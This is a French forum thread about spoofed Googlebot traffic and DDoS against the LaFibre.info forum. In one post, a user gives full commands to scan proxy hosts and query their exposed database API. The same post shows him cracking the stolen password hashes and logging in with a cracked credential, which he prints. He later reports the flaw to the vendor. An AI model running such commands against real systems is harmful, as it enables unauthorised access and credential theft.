La Fibre

Fonctionnement du forum => A lire avant de commencer... => profile Évolution de LaFibre.info, bugs et critiques => Discussion démarrée par: vivien le 06 juin 2026 à 15:12:58

Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 06 juin 2026 à 15:12:58
Des petits malins font des requêtes sur LaFibre.info usurpant le robot d'indexation de Google, Googlebot !

Vous pensez que les requêtes ci-dessous viennent de Google pour enrichir son moteur de recherche ?

Et non, c'est de l'usurpation. Les IP sources montrent clairement que ce n'est pas Google qui est derrière ces requêtes.


(Cliquer sur le tableau pour ouvrir un fichier PDF plus complet)
(https://lafibre.info/images/stats/202606_lafibre_usurpation_google_bot.webp) (https://lafibre.info/images/stats/202606_lafibre_usurpation_google_bot.pdf)
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: alain_p le 06 juin 2026 à 16:05:21
Est-ce que cela pourrait être aussi des robots d'agents AI parcourant le web pour récupérer des données servant à entrainer les modèles d'IA ?
La question de savoir avec quelles données sont entrainés les modèles IA a peu de réponses précises... Il y a une plainte actuellement déposée par Le New-York Times contre Open AI pour pillage de ses articles...
D'ailleurs Google a lui-même Gemini.

On peut penser aussi que les robots IA absorbent plein de livres en PDF trouvés sur Internet, qui ne sont pas libres de droits...
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 06 juin 2026 à 16:36:02
J'ai des requêtes clairement identifiées comme étant pour l'IA dans le user-agent, ils ne se cachent pas (et je ne bloque pas).

J'ai des requêtes en masse qui proviennent d'une poignée de serveurs et là aussi, c'est peut-être de l'IA. Certains ne sont pas très évolués et vont charger à chaque fois les images de la page qui peuvent être pourtant identiques.

Les requêtes que j'ai mises dans mon PDF, c'est une grande variété de serveurs réseaux différents. Pour moi l'objectif, c'est de faire du déni de service. J'ai passé en revue une partie des AS de ces IP. Ce sont des AS connu pour faire beaucoup beaucoup de requêtes sur ce forum et qui sont pour la plupart bloquées soit de manière temporaire ou manière définitive (dans tous les cas, la première requête passe).

Certains de ces hébergeurs ont pleins de plages /24 (seulement 256 IPv4). Les IP avant et après sont à d'autres acteurs (c'est galère à bloquer, car il ne faut bloquer plus que le /24 pour éviter le surblocage et cela fait plein de règles).

Pour donner une idée du volume de requêtes, j'ai redémarré le serveur, il y a 48h. Depuis, il y a eu 10 millions de requêtes, soit 5 millions par jour (pas forcément avec des user-gagent de Google, il faut varier les plaisirs).

Les requêtes en question sont toutes en IPv4 et viennent hors de France. Beaucoup viennent d'Asie, mais on a aussi des acteurs UK et d'Europe de l'Est (quand je regarde le pays de l'AS qui n'est pas forcément le pays d'où sont émises les requêtes).

Ne pas hésiter à me signaler si il y a surblocage, mais maintenant avec l'expérience je fais attention. Terminé l'époque ou je bloquait l'intégralité d'un /8 qui envoyait beaucoup de DDOS.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: acut3 le 06 juin 2026 à 17:01:12
Je n'ai regardé que quelques IP, mais toutes celles que j'ai regardé font tourner un proxy HTTP sur un port qui varie suivant la machine. Elles font aussi toute tourner un serveur Corrosion (https://superfly.github.io/corrosion/) en libre accès, toujours sur le port 30001. Corrosion est apparemment un système de clustering pour les bases de données sqlite.

Le serveur corrosion a une table "auth" qui semble définir les comptes d'accès au proxy (avec leur nom d'utilisateur et leur mot de passe), mais pour les IP que j'ai regardé, il n'y a pas de lignes (donc pas de comptes définis à priori).

Par exemple :

$ IP=155.254.34.75; curl -gs "http://$IP:30001/v1/queries" -X POST --json '"SELECT * FROM auth"' | jq
{
  "columns": [
    "proxy_user_id",
    "username",
    "password",
    "allocation_method",
    "max_concurrent_requests",
    "max_concurrent_requests_pag",
    "max_speed_kbs",
    "max_speed_kbs_pag",
    "max_rps",
    "max_rps_pag",
    "request_priority",
    "request_timeout",
    "request_idle_timeout",
    "request_connect_timeout",
    "default_country_codes",
    "dynamic_settings",
    "proxy_allocation_group_id",
    "sync_hash",
    "default_state",
    "default_city",
    "default_postalcode"
  ]
}
{
  "eoq": {
    "time": 4.07E-7
  }
}

Donc si tu as des IP plus récentes, il devrait être possible de trouver un serveur avec des accès définis.

Bref ce qui en ressort, c'est surtout ce que sont tous des proxies HTTP... C'est donc l'infrastructure, mais ceux qui scrap le site sont de l'autre côté.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: acut3 le 06 juin 2026 à 17:21:37
Héhé dans ta liste j'ai trouvé 2 IP (2 seulement, j'ai tout testé) qui ont effectivement des accès définis... Les mots de passes sont hashés (sha1 salés).

Sur chacune de ces 2 IPs, il y a 2970 utilisateurs définis, et ce sont apparement les mêmes utilisateurs (ça doit être la même base sqlite sur deux noeuds Corrosion différents j'imagine). La plupart ont un nom qui est fait de 8 caractères minuscules aléatoires (par exemple "bipxjwyb"), mais d'autres ont ces 8 caractères suivis de "residential" (e.g "ilgogpddresidential").
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 06 juin 2026 à 17:33:17
Donc si tu as des IP plus récentes, il devrait être possible de trouver un serveur avec des accès définis.

J'ai d'autres IP, mais pas plus récentes. Je ne suis pas sur que les IP changent.
Si tu regardes dans ces deux fichiers il y a de nombreux /24 ou toutes les IP sont utilisées pour une attaque (ce sont des cases de couleur rouge pour être facilement repérable). Je ne serais pas étonné que tu retrouves des choses en commun avec les IP que tu as analysées, le nom des hébergeurs sont les mêmes.

(cliquez sur les miniatures ci-dessous - les documents sont au format PDF)
(https://lafibre.info/images/stats/202604_ddos_lafibre_30_avril_2026.webp) (https://lafibre.info/images/stats/202604_ddos_lafibre_30_avril_2026.pdf)   (https://lafibre.info/images/stats/202604_ddos_lafibre_18_mai_au_29_mai_2026.webp) (https://lafibre.info/images/stats/202604_ddos_lafibre_18_mai_au_29_mai_2026.pdf)

Il y a aussi des IP de fournisseur d'accès à internet grand public impliqué en Asie ou en Amérique du Nord, mais avec un taux beaucoup plus faible (5 à 20 IP par /24). Probablement une application compromise ou un ordinateur infecté.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: alain_p le 06 juin 2026 à 18:31:05
Je n'ai regardé que quelques IP, mais toutes celles que j'ai regardé font tourner un proxy HTTP sur un port qui varie suivant la machine. Elles font aussi toute tourner un serveur Corrosion (https://superfly.github.io/corrosion/) en libre accès, toujours sur le port 30001. Corrosion est apparemment un système de clustering pour les bases de données sqlite.

Le serveur corrosion a une table "auth" qui semble définir les comptes d'accès au proxy (avec leur nom d'utilisateur et leur mot de passe), mais pour les IP que j'ai regardé, il n'y a pas de lignes (donc pas de comptes définis à priori).

Par exemple :

$ IP=155.254.34.75; curl -gs "http://$IP:30001/v1/queries" -X POST --json '"SELECT * FROM auth"' | jq
{
  "columns": [
    "proxy_user_id",
    "username",
    "password",
    "allocation_method",
    "max_concurrent_requests",
    "max_concurrent_requests_pag",
    "max_speed_kbs",
    "max_speed_kbs_pag",
    "max_rps",
    "max_rps_pag",
    "request_priority",
    "request_timeout",
    "request_idle_timeout",
    "request_connect_timeout",
    "default_country_codes",
    "dynamic_settings",
    "proxy_allocation_group_id",
    "sync_hash",
    "default_state",
    "default_city",
    "default_postalcode"
  ]
}
{
  "eoq": {
    "time": 4.07E-7
  }
}

Donc si tu as des IP plus récentes, il devrait être possible de trouver un serveur avec des accès définis.

Bref ce qui en ressort, c'est surtout ce que sont tous des proxies HTTP... C'est donc l'infrastructure, mais ceux qui scrap le site sont de l'autre côté.

Intéressant, je ne connaissait pas personnellement ce proxy corrosion. Et merci pour la petite ligne de commande, j'ai vérifié sur quelques IP, effectivement, cela retourne ce que tu indiques.

Je suppose que tu as fait une liste des IP du tableau et une boucle sur ces IP pour récupérer les deux IP qui ont des accès définis.

J'ai trouvé ce petit site (d'origine japonaise apparemment ?) qui explique l'intérêt de configurer des crawlers pour utiliser des proxies pour cacher la véritable IP du crawler et éviter de se faire bloquer. Mais si on bloque l'IP du proxy, cela revient au même ? Sauf que le serveur peut probablement changer de proxy...
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: alain_p le 06 juin 2026 à 18:41:57
Voilà un site, chinois semble-t-il, qui propose son réseau de proxies en test gratuit !


How to use a crawler proxy?
...
The second method involves using proxy IP addresses and other means to bypass anti-crawling mechanisms and continue high-frequency crawling. However, this requires a large number of stable proxy IP addresses.

Enterprise-grade data collection dedicated proxy pool, free testing:...



https://www.zhihu.com/en/answer/2748010067

Je pense donc qu'un test pour ce cas particulier serait de tester si ces IP ont le port 30001 ouvert, et alors de les bloquer. Elles font probablement partie d'un  pool de proxies pour crawlers.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: acut3 le 06 juin 2026 à 23:49:24
Intéressant, je ne connaissait pas personnellement ce proxy corrosion.
Corrosion n'est pas un proxy, c'est juste un système qui permet de répliquer et synchroniser une base SQLite sur plusieurs nœuds d'un cluster. Il y a un proxy qui tourne à côté, qui vraisemblablement stocke sa configuration dans cette base SQLite, que Corrosion synchronise sur tous les noeuds.

Je vais expliquer en gros comment je suis arrivé à ces conclusions, car il y a 2-3 trucs intéressant que d'autres sauront peut-être interpréter.

J'ai commencé par prendre quelques IPs (les 2-3 dernières du fichier de Vivien) et faire un SYN scan classique :
sudo nmap -T4 -p- 64.137.37.17
Sur chacune on voit seulement 2 ports open : 30001, et un autre qui varie suivant les machines.

Sur ce port variable, on a clairement un proxy, qui demande une authentification :
$ curl -gsi 64.137.37.17:6607
HTTP/1.1 407 Proxy Authentication Required
Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization."
Proxy-Connection: close
Date: Sat, 06 Jun 2026 20:32:02 GMT
Content-Length: 121
Content-Type: text/plain; charset=utf-8
Connection: close

Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Sur le port 30001, on a un serveur HTTP :
$ curl -gsi 64.137.37.17:30001
HTTP/1.1 404 Not Found
content-length: 0
date: Sat, 06 Jun 2026 20:33:08 GMT

En fuzzant le port 30001 avec feroxbuster (https://github.com/epi052/feroxbuster) et la wordlist apiroutes d'Assetnotes (https://wordlists-cdn.assetnote.io/data/automated/):
feroxbuster -n -w assetnote-wordlists/data/automated/httparchive_apiroutes_2025_10_27.txt -u http://64.137.37.17:30001
On trouve deux choses intéressantes :
On se rend compte que "/v1/subscriptions/*" attend en fait en dernier élément un UUID, et l'erreur quand l'UUID est mal formé est assez spécifique :
$ curl -gsi http://64.137.37.17:30001/v1/subscriptions/1-2
HTTP/1.1 400 Bad Request
content-type: text/plain; charset=utf-8
content-length: 110
date: Sat, 06 Jun 2026 20:49:15 GMT

Invalid URL: Cannot parse `id` with value `1-2`: UUID parsing failed: invalid group count: expected 5, found 2

En faisant une recherche sur ce message d'erreur (https://kagi.com/search?q=%22UUID+parsing+failed%3A+invalid+group+count%22&r=no_region&sh=Rwr_FaSiy3Mg2nIrU0vHlA), on voit qu'il correspond exactement à celui d'Axum, un framework web en Rust très connu.

En fuzzant à nouveau sous /v1, cette fois avec ffuf (https://github.com/ffuf/ffuf) (qui a par rapport à feroxbuster l'avantage de pouvoir fuzzer n'importe où dans la requête) et de simples mots:
ffuf -w assetnote-wordlists/data/manual/raft-large-words-lowercase.txt -u 'http://64.137.37.17:30001/v1/FUZZ/xxx' -fc 404 -mc all
On trouve "/v1/updates" en plus de "/v1/subscriptions". En cherchant ces deux termes (https://kagi.com/search?q=%22%2Fv1%2Fsubscriptions%22+%22%2Fv1%2Fupdates%22&r=no_region&sh=DhP3VeTQrossNBq05Nh3fQ), on tombe sur Corrosion (https://superfly.github.io/corrosion/), un système de clustering pour la base de donnée SQLite. Il est écrit en Rust et utilise bien Axum.

A partir de là, on a la doc pour explorer l'API. On peut notamment récupérer la liste des tables dans la base SQLite :
$ curl -gs http://64.137.37.17:30001/v1/queries -X POST --json '"SELECT name FROM sqlite_schema WHERE type = '\''table'\'' AND name NOT LIKE '\''sqlite_%'\''"' | jq -r '.row[1][0]'
null
crsql_tracked_peers
crsql_db_versions
crsql_master
crsql_site_id
__corro_state
__corro_seq_bookkeeping
__corro_buffered_changes
__corro_members
__corro_schema
__corro_bookkeeping_gaps
auth
auth__crsql_clock
auth__crsql_pks
null

Toutes ces tables sauf "auth" sont en fait utilisée par Corrosion pour son fonctionnement interne.

La table "auth" contient la configuration du proxy comme montré plus haut. En fuzzant avec les IP du tableau de Vivien, on peut chercher celles qui retournent des lignes, et qui donc ont des utilisateurs définis pour le proxy :
cat lafibre_ips.txt | ffuf -w - -u 'http://FUZZ:30001/v1/queries' -X POST -H 'Content-Type: application/json' -d '"SELECT * FROM auth"' -mr '"row"'
Et on trouve 2 IPs : 82.24.249.37 et 82.21.249.30.

A partir de là on peut récupérer les hashs de tous les utilisateurs, et essayer de les casser avec hashcat (ils sont au format "Django") :
hashcat -m 124 -a 0 82.24.249.30_hashes /usr/share/dict/rockyou.txt
On en trouve 4 qui sont dans rockyou.txt, et on peut vérifier que le premier par exemple est bien accepté par le proxy :
curl -gsi -x http://82.24.249.30:5867 --proxy-basic --proxy-user hhhomerj:simpson00 http://example.com
Dans les trucs étonnant, il y a par exemple la table __corro_members, qui contient l'adresse des autres membres du cluster. Il y en a 599, et on peut voir qu'elles sont toutes en 10.x.x.x:3333 :
$ curl -gs http://82.24.249.30:30001/v1/queries -X POST --json '"SELECT * FROM __corro_members"' | jq -r '.row[1][1]' | grep -v '^null$'
10.9.15.139:3333
10.9.5.16:3333
10.9.16.49:3333
...

Ce qui voudrait dire :
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: acut3 le 07 juin 2026 à 00:10:41
Hmm quand on utilise le proxy 82.24.249.30, on sort avec une IP différente à chaque fois, localisée n'importe où dans le monde (Maroc, Iraq, Espagne, Pérou...), et ces IP n'ont rien sur le port 30001... On dirait donc qu'il y a au moins une couche en plus.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: rooot le 07 juin 2026 à 08:54:32
ce ne serait pas un genre de "proxy rotator" comme : https://proxyrotator.com/ ?
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: acut3 le 07 juin 2026 à 17:29:46
La bonne blague : après toutes ces recherches, je viens de réaliser que cette mystérieuse infrastructure de proxies, c'est... Webshare (https://www.webshare.io/).

Comment j'ai découvert ça ? Quand on essaie d'accéder via le proxy à une cible interdite (comme 127.0.0.1, ou la plupart des ports "non-standards"), il retourne une erreur 403 avec de beaux headers "X-Webshare-Error" et "X-Webshare-Reason".

Et effectivement, après m'être crée un compte de test, mes 10 proxies gratuits exposent bien ce même service Corrosion sur le port 30001.

Tout ça pour ça ;D
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: acut3 le 08 juin 2026 à 13:42:11
J'ai contacté hier soir webshare.io au sujet de l'API Corrosion ouvertement accessible sur leurs proxies... Ce matin il m'ont répondu que le problème était corrigé, et effectivement le port 30001 n'est plus exposé.

C'est quelque chose que je n'ai pas testé car clairement illégal sans autorisation, mais je soupçonne qu'il était possible de se créer des comptes sur leurs proxies sans être client, via cette API.

A part ça et pour revenir à la question initiale, aucune idée de qui est à l'origine de ces requêtes "Googlebot". Seul Webshare le sait.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: alain_p le 08 juin 2026 à 14:24:06
Il faudra voir si Vivien enregistre moins de connexions sur le forum. Mais en tout cas, merci pour le retour. C'était un sujet très instructif techniquement, et aussi pour les méthodes des web crawlers pour échapper aux bannissements.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 08 juin 2026 à 15:50:44
Je vois qu'il y a 6200 invités en ce moment sur le forum, c'est beaucoup trop pour être réaliste.

On a en ce moment 96% du trafic qui est en IPv4, pourtant, vous verriez le nombre de plages IPv4 bannies, c'est monstrueux !

J'ai regardé les log et j'ai pris quelques IP suspectes qui viennent de faire du trafic il y a quelques secondes :

102.0.138.192
102.135.174.85
102.176.204.109
102.210.173.190
102.223.59.176
102.253.103.17
102.89.82.57
103.109.96.236
103.118.77.127
103.157.129.32
103.166.59.208
103.167.229.213
103.167.229.254
103.190.171.163
103.31.152.244
105.105.20.26
105.107.161.198
105.158.111.17
105.235.137.223
109.236.42.202
112.210.228.155
115.164.36.212
125.235.239.105
138.255.177.39
138.36.198.6
143.105.137.133
147.78.76.155
148.227.123.253
149.102.94.187
149.255.208.13
154.208.49.54
154.239.79.226
154.80.122.201
154.81.235.113
156.217.196.101
159.146.79.91
160.179.226.239
165.73.183.103
171.79.56.64
176.222.63.20
181.15.209.43
181.60.24.186
182.62.63.168
185.147.100.65
185.56.194.238
185.57.236.118
185.61.48.63
186.53.221.159
186.54.111.39
187.171.193.137
187.189.190.18
187.200.249.159
187.252.248.177
188.113.209.234
188.113.236.193
188.191.21.68
188.86.36.136
190.100.199.157
190.107.123.79
190.244.4.166
190.34.62.176
191.108.174.52
194.31.93.236
196.74.149.1
197.113.92.135
197.139.52.3
197.214.238.11
200.152.6.172
200.185.234.226
200.189.34.176
200.87.153.245
200.9.24.238
200.94.38.14
201.108.68.102
201.141.18.115
201.242.202.178
203.9.211.21
212.45.81.58
213.211.85.181
216.234.205.150
223.187.47.104
2.50.99.191
31.8.114.55
34.96.46.27
37.151.64.87
38.121.214.151
38.41.48.14
41.101.151.73
41.1.133.253
41.158.103.175
41.248.45.44
41.39.198.128
41.83.171.119
41.92.97.176
45.172.68.203
45.234.215.195
45.65.144.52
49.244.110.226
5.155.103.86
5.178.15.71
5.25.143.176
59.153.17.168
66.181.188.54
67.209.138.106
68.194.84.41
77.34.252.136
77.75.147.139
78.111.40.198
82.49.80.50
84.44.124.245
90.188.96.152
91.243.255.49
94.249.101.248

Il faudra que j'analyse ça (il est possible qu'il y ait quelques IP légitimes), mais pour moi, il y a toujours de ce que j'appellerai du DDOS. Je n'ai pas regardé, mais je doute que ces IPv4 soient localisées en France.

Depuis minuit hier (39 heures), j'ai 407 000 IPv4 qui ont été bannies automatiquement temporairement (je ne tiens pas compte des requêtes provenant des millions d'IPv4 déjà bloquées lors des rounds précédents). Je ferais une analyse manuelle de ces IP pour décider ou pas de bloquer de nouvelles plages.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: acut3 le 08 juin 2026 à 16:50:00
Je crois que sur ces dernières IP on est vraiment sur des appareils compromis. En scannant les ports on voit un peu de tout, des routeurs Microtik, des OLT au Bangladesh, un serveur d'impression...
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: fred_mgnt le 09 juin 2026 à 08:11:18
C'est quoi l'intérêt pour eux d'usurper l'identité de GoogleBot ? Ça leur apporte quoi? Parce qu'en terme de filtration, c'est peut-être bien une des dernières choses contrôlées, l'IP, son origine et son comportement sur le site seront contrôlés avant et le blocage commencera par là. Afficher GoogleBot ne les protègera pas contre des actions ou un blocage et ne leur donnera pas un blanc-seing... Alors j'aimerais comprendre l'intérêt...
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: acut3 le 09 juin 2026 à 08:30:48
Je pense au contraire qu'en terme de filtration, c'est une des premières choses contrôlées, parce que c'est simple, direct, et que ça s'applique dès la première requête. Évidemment c'est aussi très facile à contourner, mais ça permet au moins de bloquer les bots "légitimes".

Cela dit il faudrait que Vivien confirme, mais je ne pense pas que ces dernières IP utilisent le UA Googlebot. Je pense qu'on a deux choses bien distinctes et probablement sans lien : d'un côté le faux Googlebot qui passe par les proxies de webshare.io (et je supposent qu'ils achètent l'accès à ces proxies de manière totalement légale), et de l'autre un ou plusieurs botnets basés sur des devices compromis.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 09 juin 2026 à 08:50:27
L'usurpation des robots de Google, cela représente un tout petit volume (moins de 1%).

Je l'ai mentionné, car je ne savais pas que des attaquants utilisent cette astuce.

Les dernières IP, j'avais filtré de manière à exclure les bots. Ce sont des clients qui se présentent comme du Chrome.

On parle d'un volume très important de requêtes et d'IP différentes. Sur la journée d'hier, j'ai eu 300 000 nouvelles IPv4 (et quand je vois les stats d'IPTables, ils continuent de taper sur des IP déjà bloquées lors des précédents jours).

J'ai déjà 920 règles IPtables pour bloquer définitivement certaines plages IPv4, je vais devoir en rajouter.

En moyenne depuis 4 jours, je suis à 9698 requêtes bloquées par minutes de moyenne (581 900 requêtes par heure). C'est sans compter les requêtes qui passent.

L'attaque fonctionne sans discontinuer depuis le 30 mars.
Ces attaques sont-elles de retour ? Je vois plus de 24 000 visiteurs sur la page d’accueil, et le serveur semble souffrir  :(

edit: record battu avec 30 856 invités cet après-midi  ;D

Je trouve complétement disproportionné le travail nécessaire pour l'attaque au vu du résultat quelques heures ou le forum a été lent sur plusieurs mois d'attaque.

Par contre je serais sur un hébergement mutualisé, cela serait impossible à gérer pour l'hébergeur.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: fred_mgnt le 09 juin 2026 à 09:06:21
Je pense au contraire qu'en terme de filtration, c'est une des premières choses contrôlées, parce que c'est simple, direct, et que ça s'applique dès la première requête. Évidemment c'est aussi très facile à contourner, mais ça permet au moins de bloquer les bots "légitimes".

Ben justement, facile à contourner, donc ça sera contourné/bloqué rapidement. D'autant plus que l'User-Agent est régulièrement l'objet de tractations sur internet, entre le spoofing pour se faire passer pour tel ou tel navigateur parce que le site l'exige, ou pour éviter le fingerprinting, et les régies publicitaires qui s'en servent ou pas, ça devient une information peu fiable et donc j'imagine sur laquelle reposent peu de tests importants de type filtrage/blocage, le risque d'effets de bord important est trop élevé.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: fred_mgnt le 09 juin 2026 à 09:09:39
L'attaque fonctionne sans discontinuer depuis le 30 mars.
Je trouve complétement disproportionné le travail nécessaire pour l'attaque au vu du résultat quelques heures ou le forum a été lent sur plusieurs mois d'attaque.

Et c'est fou (mais je ne dois pas me rendre compte des volumes vs. volume global traité) que sur les routes entre le serveur et eux, il n'y ait pas des opérateurs, des routeurs et/ou des switch qui finissent par restreindre la liaison... C'est fou de lire ça, 2 mois non stop, ça devrait à un moment tiquer. Bon, après c'est sûrement très bien distribué entre plein d'IP/d'ordinateurs différents, mais quand même...
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: acut3 le 09 juin 2026 à 09:38:11
Ben justement, facile à contourner, donc ça sera contourné/bloqué rapidement. D'autant plus que l'User-Agent est régulièrement l'objet de tractations sur internet, entre le spoofing pour se faire passer pour tel ou tel navigateur parce que le site l'exige, ou pour éviter le fingerprinting, et les régies publicitaires qui s'en servent ou pas, ça devient une information peu fiable et donc j'imagine sur laquelle reposent peu de tests importants de type filtrage/blocage, le risque d'effets de bord important est trop élevé.
Ce que je dis, c'est que si tu veux éviter par exemple le scraping par les crawlers officiels des boites d'IA, ça fait le job. Ce n'est pas une protection contre les acteurs malveillants. C'en est une contre les acteurs légitimes (et oui, je sais que les boites d'IA font aussi en douce du scraping sauvage qui ne suit aucune règle).

Et tu as aussi des sites qui ont du contenu qui nécessite un compte pour y accéder, mais qui veulent tout de même que ce contenu soit indexé par les moteurs de recherche. Avoir le bon UA peut-être une condition nécessaire (mais pas forcément suffisante) pour y accéder sans compte.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: fred_mgnt le 09 juin 2026 à 20:00:19
Ce que je dis, c'est que si tu veux éviter par exemple le scraping par les crawlers officiels des boites d'IA, ça fait le job. Ce n'est pas une protection contre les acteurs malveillants. C'en est une contre les acteurs légitimes (et oui, je sais que les boites d'IA font aussi en douce du scraping sauvage qui ne suit aucune règle).

Et tu as aussi des sites qui ont du contenu qui nécessite un compte pour y accéder, mais qui veulent tout de même que ce contenu soit indexé par les moteurs de recherche. Avoir le bon UA peut-être une condition nécessaire (mais pas forcément suffisante) pour y accéder sans compte.

Oui enfin c'est surtout le rôle de robots.txt, et si les robots (IA ou non) n'ont pas envie de respecter ça (ou autre), ils passeront outre, donc pour moi, je ne vois vraiment aucun intérêt d'usurper l'user agant de Google Bot... Ça n'apporte rien, ça n'ouvre pas plus de portes, ça n'empêche pas de finir bloqué...
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: timpera le 09 juin 2026 à 20:12:09
Historiquement, certains gros sites d'actualité envoient les articles en entier, sans paywall, aux requêtes du Googlebot en vérifiant uniquement le user-agent. Par exemple : https://www.peteroome.com/2015/04/05/botty-the-web-through-the-eyes-of-a-google-bot-copy/
Ça ne fonctionne plus trop aujourd'hui hélas.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 09 juin 2026 à 20:51:22
Il me semble que Google interdit de présenter une vue différente d'un site à ses robots.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: fred_mgnt le 09 juin 2026 à 21:12:56
Historiquement, certains gros sites d'actualité envoient les articles en entier, sans paywall, aux requêtes du Googlebot en vérifiant uniquement le user-agent. Par exemple : https://www.peteroome.com/2015/04/05/botty-the-web-through-the-eyes-of-a-google-bot-copy/
Ça ne fonctionne plus trop aujourd'hui hélas.

Ah j'apprends qqch, merci, et je comprends enfin certains résultats que j'ai sur Google, qui me sors des liens mais je ne retrouve pas le texte de ma recherche dans ce qui m'est donné de voir, souvent parce qu'il y a un paywall (mais pas toujours)... Et je me suis dit que justement Google devait pouvoir indexer l'article en entier dans certain cas, histoire de faire de la pub pour le site ("vous voulez lire ? Votre recherche se trouve peut-être dans la suite... Abonnez-vous!"), ou bien que l'article est devenu payant par la suite ou a été modifié...
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 04 juillet 2026 à 09:26:20
Depuis plus d'un mois, j'ai un volume très important de requêtes de robots " https://sleepbot.com/ "

Toutes les IP sont sur l'AS AS396982 Google LLC.

Le volume est stable dans la durée, on est à un peu plus de 700 000 requêtes par jour, c'est vraiment astronomique.

J'ai demandé à Gemini voici sa réponse :

Le robot d'indexation SleepBot/1.0 (qui pointe vers http://sleepbot.com/) fait partie de la catégorie des crawlers indépendants ou "historiques", souvent liés à de petits projets, à de la recherche universitaire ou à des outils d'analyse d'audience très ciblés.

Contrairement aux géants comme Googlebot ou GPTBot d'OpenAI, ses objectifs sont très restreints. Les données qu'il récolte servent principalement à trois cas d'usage :

1. La cartographie et l'analyse de liens (Web Graph)
Les robots de ce type parcourent le web de lien en lien pour analyser la structure globale du réseau. Les données récoltées servent à :
- Mesurer la popularité de certains sites en calculant le nombre de liens qui pointent vers eux (backlinks).
- Détecter les sites obsolètes, les liens morts (erreurs 404) ou les changements de redirections.

2. Des statistiques d'infrastructure (Recherche non commerciale)
L'identifiant montre qu'il s'agit d'un robot ancien ou géré de manière artisanale. Souvent, ces crawls collectent uniquement les en-têtes HTTP et le code source de base pour compiler des statistiques globales :
- Quelles versions de serveurs web (Apache, Nginx, IIS) sont les plus utilisées ?
- Quelle est la proportion de sites utilisant HTTPS plutôt que HTTP ?
- Quelle est la vitesse moyenne de réponse des serveurs dans le monde ?

3. La détection de flux de niche (Lien avec le site d'origine)
Comme le domaine historique sleepbot.com était une plateforme dédiée à la musique ambiante et expérimentale, les premières versions de ce bot servaient à scanner le web à la recherche de flux audio, de webradios indépendantes ou de fichiers musicaux libres de droits (Creative Commons) afin de les répertorier ou d'alimenter leur propre base de données de diffusion.

Faut-il s'en inquiéter ou le bloquer ?
Non, ce n'est pas un robot malveillant. Il ne cherche pas à voler des données personnelles ou à pirater des serveurs.
Cependant, comme il s'agit d'un crawler de niche qui n'apporte aucun trafic ni aucun bénéfice SEO à un site moderne, de nombreux administrateurs système choisissent de le bloquer simplement pour économiser de la bande passante et des ressources serveur. Si vous observez ses passages dans vos logs et qu'il est trop insistant, vous pouvez lui interdire l'accès dans votre fichier robots.txt.

Je n'ai donc pas bloqué ces requêtes, mais cela fait maintenant plus d'un mois que le forum est soumis à ses demandes incessantes et j'envisage donc de le bloquer, mais je veux bien votre avis.

Exemple de requetes réalisées à l'instant :

35.226.74.100 38034 TLSv1.3 [04/Jul/2026:09:25:30 +0200] "GET /orange-les-news/nouvelle-mise-a-jour-firmware-livebox5/60?PHPSESSID=b2k03jnp2i4nocne0uo75o3bj5 HTTP/1.1" 200 9183 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.29.162.207 38296 TLSv1.3 [04/Jul/2026:09:25:30 +0200] "GET /energie/vieux-coffrets-de-branchement-enedis/60?PHPSESSID=p3vipplqhl5hk4hvo8ab3i6c6k HTTP/1.1" 200 10365 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.226.74.100 38032 TLSv1.3 [04/Jul/2026:09:25:30 +0200] "GET /freemobile-incidents?PHPSESSID=3f7v4lapnm85guhjjs7g488v0r HTTP/1.1" 200 10754 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.226.74.100 38032 TLSv1.3 [04/Jul/2026:09:25:30 +0200] "GET /freemobile-incidents?PHPSESSID=csnodt4n7l97ukrulc00glbrv1 HTTP/1.1" 200 10761 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
